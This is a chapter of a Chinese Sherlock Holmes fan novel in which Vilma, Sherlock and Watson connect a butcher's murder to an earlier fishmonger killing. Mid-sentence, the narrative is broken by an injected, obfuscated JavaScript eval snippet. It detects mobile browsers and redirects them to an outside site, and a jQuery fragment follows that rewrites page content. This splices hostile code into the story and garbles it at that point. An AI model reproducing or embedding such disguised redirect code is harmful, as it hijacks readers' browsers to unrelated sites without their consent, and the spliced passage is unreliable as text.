17.017

作品:《与死人同行[福尔摩斯]

    希尔家的宅内很空旷,不是因为抵押了什么,而是本身正厅大堂就没有摆放多少东西。


    棕红色的地板满是灰尘,墙壁上是一幅年代还算久远的由不知名画家作的油画。油画上画着一个正在火焰中燃烧的黑裙女人,她的裙摆被火焰烧到了大腿,浓烟滚滚下,一双琥珀色的眼睛盯着画作的正前方。


    但诡异的是,如果你站在画作的任意角度观察,就会发现这双眼睛始终注视着观察者。


    如果是过路人看见这幅画,大概会被吓到,但作为希尔家的一员,维尔玛只觉得惆怅。


    于是,她从自己的包里翻出一块布来,爬上长桌,伸手想要去把画作上的灰尘擦掉。


    她擦了擦,可不知道为什么,这画框上的灰尘却好似越来越多,黑色的颗粒和孢子一样蔓延开来,嵌入画框凹陷的花纹内部,如菌丝一样蔓延到维尔玛的手指——


    紧接着,黑色的颗粒越来越多,化为浓烟,火星飘在四周,噼啪作响,气味刺鼻无比,熏得维尔玛掉下眼泪来。


    什么鬼?


    维尔玛闭上眼睛想要咳嗽,可还没等她咳出来,她就突然感觉自己的身子不再受到自己的支配——或者说自己已经不在自己的身体里。


    她又被拉进了鬼魂的视角。


    万幸的是,这次她没有听见尖叫声。


    在她的面前,只有一个正在燃烧的、孤独的炭盆。


    -


    苏格兰场的效率最近好像提高了好几倍,前一天还乱七八糟的负二层,现在已经被打扫干净,放上了几个柜子和桌椅。


    维尔玛坐着电梯下来时,手里捧着自己的入职用品箱子,里面有档案袋、笔、本子、身份牌……还有一个订书机。


    案件顾问的工作不用坐班,维尔玛只是顺带过来看看环境,昨天她忙着搬家,还没来这看过呢!


    “怎么样,不错吧?”珀西的语气有些自豪,“你是没看见昨天的样子!你看这桌子!怎么样?是我昨晚上帮你们组装好的!”


    “谢谢你,珀西——雷斯垂德探长呢?”维尔玛把小箱子放在了自己的工位上。


    “关于这个……”珀西露出了一个尴尬的表情。


    雷斯垂德在被总监骂。


    他提前透露给《雨町杂志》关于案件顾问的事情被知道了,上级伸手把这篇文章拦截了下来,要问罪于雷斯垂德。


    “你应该庆幸,雷斯垂德。”伦敦警察局总监严肃道,“如果这个文章没有被拦截,你有想过后果吗?”


    后果是这一文章被发表,不管《雨町杂志》的文章是否正面,后续都会有别的有心之人利用起来,以此贬低英国的执法制度。


    这不代表顾问一事永久保密,只是这必须在警方有准备的时候公开。且这事情公开绝对不是靠一个警探随口说给记者这么随意,自然是得召开新闻发布会的。


    “《雨町杂志》是在警界及刑侦爱好者眼里还算权威的杂志,我不敢相信你作为警探会认为这杂志是个小杂志。”总监一语道破雷斯垂德当时的轻视是从何而来,“芭芭拉·玛奇是个女人,但她也是个厉害的记者,你应该改改你的毛病了,雷斯垂德。希尔的事情还没有给你教训吗?”


    雷斯垂德想要辩解,比如解释说自己的轻视来自于自己一直看不惯的警员珀西,但这话刚到嘴边,又给他咽了回去。


    因为他发现自己居然无法否认,自己在看见这个有着一头时髦红色卷发的记者的时候,下意识已经不认为这个杂志是个刑侦杂志。


    “我明白了,长官。”雷斯垂德承认错误,“我以后不会再犯了。”


    总监微微点头,随后道:“还有一件事——”


    -


    夏洛克·福尔摩斯来到苏格兰场时,雷斯垂德也回来了。一碰见雷斯垂德,夏洛克就伸出手问他要文件。


    雷斯垂德翻了一下公文包,把写着雪莉·希尔的文件夹递给夏洛克,犹豫了一秒,说:“这个案子的线索太少了,又过了几年,我不希望泼你冷水,孩子,但你很有可能什么都收获不了。”


    夏洛克接过文件,用那双好似能洞察一切的灰色眼睛看了雷斯垂德好一会,最后用一种没有情绪的语气说:“好。”


    随后,径直朝着通往地下室的电梯走去。


    维尔玛在办公室的时候刚刚好安格尔法医来送尸检报告,她也就提前看了一下,并学着夏洛克在贝克街的手法把信息做了归纳,有些还写在了白板上。


    电梯门打开时,维尔玛正站在白板前抓着笔陷入思考。


    听见声音,她转过头,看见是夏洛克,赶忙说:“法医报告出了,他是先被钝器击晕,随后被道具插入喉咙窒息并失血过多死亡的。”


    “那么凶手的身上必然会被溅到血迹。”夏洛克把手里的文件放在了桌上,凑到白板前说,“冷库里没有血液,说明这里也不是第一案发现场。”


    “这家肉铺有专门的屠宰房间,就在冷库边上。”维尔玛说,“但那很不干净,各种血液都有,要提取有用的样本恐怕有点困难。”


    “还是得从其他案件下手。”夏洛克说,“以凶手这有预谋但是拙劣的刀工来看,他不是第一次杀人,但或许是他第一次分尸。”


    “我们怎么找他的上一次案子?”维尔玛皱眉问道。


    夏洛克:“当然是最原始的方法,划一个地点和时间范围,查阅谋杀相关的报案记录。”


    即便是圈了范围,这些案子还是太多了。为了防止掠过,夏洛克会把时间范围相对划大一些,因为一些连环杀手的“沉寂”期很长,甚至可能长达几年。


    当约翰·华生搬着属于自己的办公小箱子下来时,看见的是成堆的文件,和此时正埋在纸堆里的希尔和福尔摩斯。


    他眼前一黑,前一秒还觉得自己有了个不错的工作,现在只觉得自己好像是成了廉价劳动力。


    “呃,你们找什么呢?”华生小心翼翼询问,生怕打扰到。


    维尔玛抬起头问好,随后大概解释了一下案件经过:“找一个关联案件。几天前的案件是一个肉铺老板被杀害,并像是猪肉一样被屠宰吊在了冷库里……”


    华生皱起了脸。


    “总之,找到一切你觉得和这个案件有关联的就行——你手边那个是我们还没看过的。”


    华生只得叹口气,随手拿起了箱子里的一个文件夹。


    然后他看着看着,眼睛逐渐瞪大,最后结巴道:“呃,我觉得我好像找到了?”


    夏洛克、维尔玛:?


    你是说,我们俩在这几乎没怎么睡觉地看了两天,你一来看的第一个文件就是我们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200349|196268||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要找的?


    你怎么不早点来?!


    华生手里的这个案件,还真是和肉铺案件十分相像。


    七个月前,在距离案发现场十五公里的一处水产市场内,一名水产老板被开膛破肚。


    尸体被其妻子发现时,正仰面躺在平时用来处理鱼类的金属案板上,而内脏则是被丢在了收集鱼肠沃肥的桶里。


    死者的死因同样是被刀具插入喉咙里流血窒息而死,同样的没有仇家,没有找到凶器,没有线索。


    “一个是水产,一个是肉铺。”维尔玛说,“我们在找什么?素食主义者吗?”


    “你说得有道理,但不要先急着贴标签。”夏洛克提示。


    维尔玛这个说法确实是绝大多数人的第一反应。谋杀报复,两个都是贩卖肉类的老板,那么是不是代表这凶手仇视贩卖肉类的人呢?


    而且联系作案手法还有尸体的惨状,凶手似乎就是想要让这些平时屠宰牲畜的人也体会一下被宰杀的滋味。


    他们是可以顺着这个思路往下走,但……


    “都当素食主义者了,连动物都不愿意杀,那为什么会想要杀人?”华生问,“如果真的是这样,那是这个凶手觉得人还不如动物吗?”


    维尔玛:“或许他吃素只是为了健康?——不对,那更没办法解释为什么要杀人了,凶手这个恨意从何而来?”


    “我们不应该看他这所谓的报复行为就认为凶手是在共情猪和鱼。”夏洛克说,“他可能还是恨这两个个体,或者是恨这两个个体有关的其他特质。案件开始时,不用想得那么复杂。”


    夏洛克走到了白板前,把水产的资料写上去,“想想,他们两个人的共通点是什么?”


    华生:“都是老板?”


    维尔玛:“都是和屠宰有关的老板。”


    夏洛克:“那么凶手会不会只是讨厌屠夫呢?”


    对哦。


    在他们在诺大的资料库里翻找时,雷斯垂德那边也没就这么闲着等他们的结论。


    他们拜访了受害者的家属、朋友甚至是顾客,最后得到的结果和维尔玛·希尔的说法一致。


    屠夫鲍勃确实是个没有和人结过怨的人。


    甚至就不少人来说,他还是个经常以德报怨的老好人。


    人际关系方面没有进展,他们同步展开调查的还有账目方面。


    账目上,警方没有看见任何亏损作假的情况,且在死者死亡时间前半个月,他还进了一波新鲜的货物,一共有三头猪、两头羊、一头牛和一些鸡肉。


    这家农场兼屠宰场开在郊区,负责人名叫汤姆·卜彻,之前从事水产行业,而这一畜牧屠宰场他接手不过三年,之前的主人是他的亲伯父。


    当维尔玛一行人准备上报给雷斯垂德他们找到了凶手的另外一个案件时,雷斯垂德刚刚好准备让珀西去这个屠宰场拜访一番。


    夏洛克在办公室外面听见雷斯垂德的话,还没打招呼,就上前一把将雷斯垂德丢给珀西的车钥匙夺了下来。


    “我们去。”他说。


    雷斯垂德刚想说话,夏洛克紧接着就回头看向维尔玛和华生,说:“谁会开车?”


    维尔玛举起手。


    钥匙在空中划出一个漂亮的抛物线,最后稳稳掉在了维尔玛的手心里。